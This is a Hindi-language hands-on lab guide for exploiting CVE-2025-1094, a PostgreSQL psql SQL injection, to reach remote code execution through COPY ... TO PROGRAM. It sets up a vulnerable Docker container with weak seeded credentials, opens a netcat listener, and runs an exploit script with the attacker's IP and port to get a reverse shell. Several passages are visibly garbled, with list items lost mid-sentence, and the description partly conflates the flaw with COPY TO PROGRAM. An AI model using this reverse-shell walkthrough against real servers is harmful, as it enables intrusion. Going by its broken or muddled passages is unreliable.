
# CVE-2025-1094 का शोषण करने के लिए व्यावहारिक प्रयोगशाला, PostgreSQL psql SQL इंजेक्शन जो COPY TO PROGRAM के माध्यम से RCE की ओर ले जाता है, Docker सेटअप और रिवर्स शेल पेलोड के साथ।
⚠️ अस्वीकरण
यह लैब केवल शैक्षिक और शोध उद्देश्यों के लिए है।
यहां प्रदर्शित किसी भी जानकारी या तकनीक का उपयोग उन सिस्टमों पर न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की आपके पास स्पष्ट अनुमति नहीं है। इन विधियों का अनधिकृत उपयोग कानून का उल्लंघन कर सकता है और गंभीर दंड का कारण बन सकता है।
CVE-2025-1094 एक गंभीर कमजोरी है जो PostgreSQL के इंटरैक्टिव टूल psql को प्रभावित करती है, जो संस्करण 14.15 और उससे पहले के संस्करणों में पाई गई है।
यह हमलावरों को SQL इंजेक्शन करने की अनुमति देती है जो कुछ शर्तों के तहत रिमोट कोड एक्ज़ीक्यूशन (RCE) का कारण बन सकती है।
यह कमजोरी psql में दोषपूर्ण UTF-8 इनपुट के अनुचित हैंडलिंग से उत्पन्न होती है।
अपर्याप्त सत्यापन के कारण, हमलावर मनमाने SQL या मेटा-कमांड जैसे ! (शेल एस्केप) इंजेक्ट कर सकते हैं, और यहां तक कि सिस्टम कमांड चलाने के लिए COPY ... TO PROGRAM का दुरुपयोग भी कर सकते हैं।
COPY TO PROGRAM का दुरुपयोग: हमलावर मनमाने शेल कमांड निष्पादित कर सकते हैं जैसे:
/etc/passwd)psql का उपयोग करते हैं (जैसे, BeyondTrust PRA, Remote Support) विशेष रूप से जोखिम में हैं।Docker स्थापित करें:
sudo apt update
sudo apt install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt update
sudo apt install -y docker-ce docker-ce-cli containerd.io
sudo systemctl enable --now docker
sudo usermod -aG docker $USER
👉 Docker समूह अनुमतियाँ लागू करने के लिए रीबूट करें या लॉग आउट और फिर से लॉग इन करें।
Python और निर्भरताएँ स्थापित करें:
sudo apt install -y python3 python3-pip python3-psycopg2 netcat-traditional
✅ हमलावर और पीड़ित मशीनों के बीच नेटवर्क कनेक्टिविटी सुनिश्चित करें।
docker pull postgres:14.15
docker run --name vulnerable_postgres -e POSTGRES_USER=postgres123 -e POSTGRES_PASSWORD=StrongP@ssWord -e POSTGRES_DB=labdb -p 5432:5432 -d postgres:14.15
docker exec -i vulnerable_postgres psql -U postgres123 -d labdb <<EOF
CREATE TABLE users (
id SERIAL PRIMARY KEY,
username TEXT,
password TEXT
);
INSERT INTO users (username, password) VALUES ('admin', 'password123');
EOF
कंटेनर शुरू करने के बाद, निम्नलिखित कमांड से सब कुछ ठीक से काम कर रहा है यह सत्यापित करें:
1. जाँचें कि PostgreSQL कंटेनर चल रहा है:
sudo docker ps
📌 आपको पोर्ट 5432 पर सुन रहा vulnerable_postgres नामक कंटेनर दिखना चाहिए।
2. कंटेनर तक पहुँचें और डेटाबेस का निरीक्षण करें:
sudo docker exec -it vulnerable_postgres psql -U postgres123 -d labdb
psql शेल के अंदर, चलाएँ:
SELECT * FROM users;
अपेक्षित आउटपुट:
id | username | password
----+----------+-------------
1 | admin | password123
(1 row)
psql से बाहर निकलें:
\q
✅ अब आपका कमजोर PostgreSQL इंस्टेंस चल रहा है और शोषण के लिए तैयार है।
3. कंटेनर को वापस चालू करें
sudo docker start vulnerable_postgres
nc -lvnp 4444
python3 exploit.py <Victim_IP> <Attacker_IP> <Attacker_PORT>
[*] Connecting to PostgreSQL server...
[+] Connected successfully!
[*] Sending payload...
[✓] Payload executed! Check your Netcat listener for a shell.
COPY ... TO PROGRAM का शोषण करें💡 टिप: आप इस कमजोर कंटेनर का स्नैपशॉट ले सकते हैं और वातावरण को दोबारा बनाए बिना इसे बाद में पुनः उपयोग कर सकते हैं।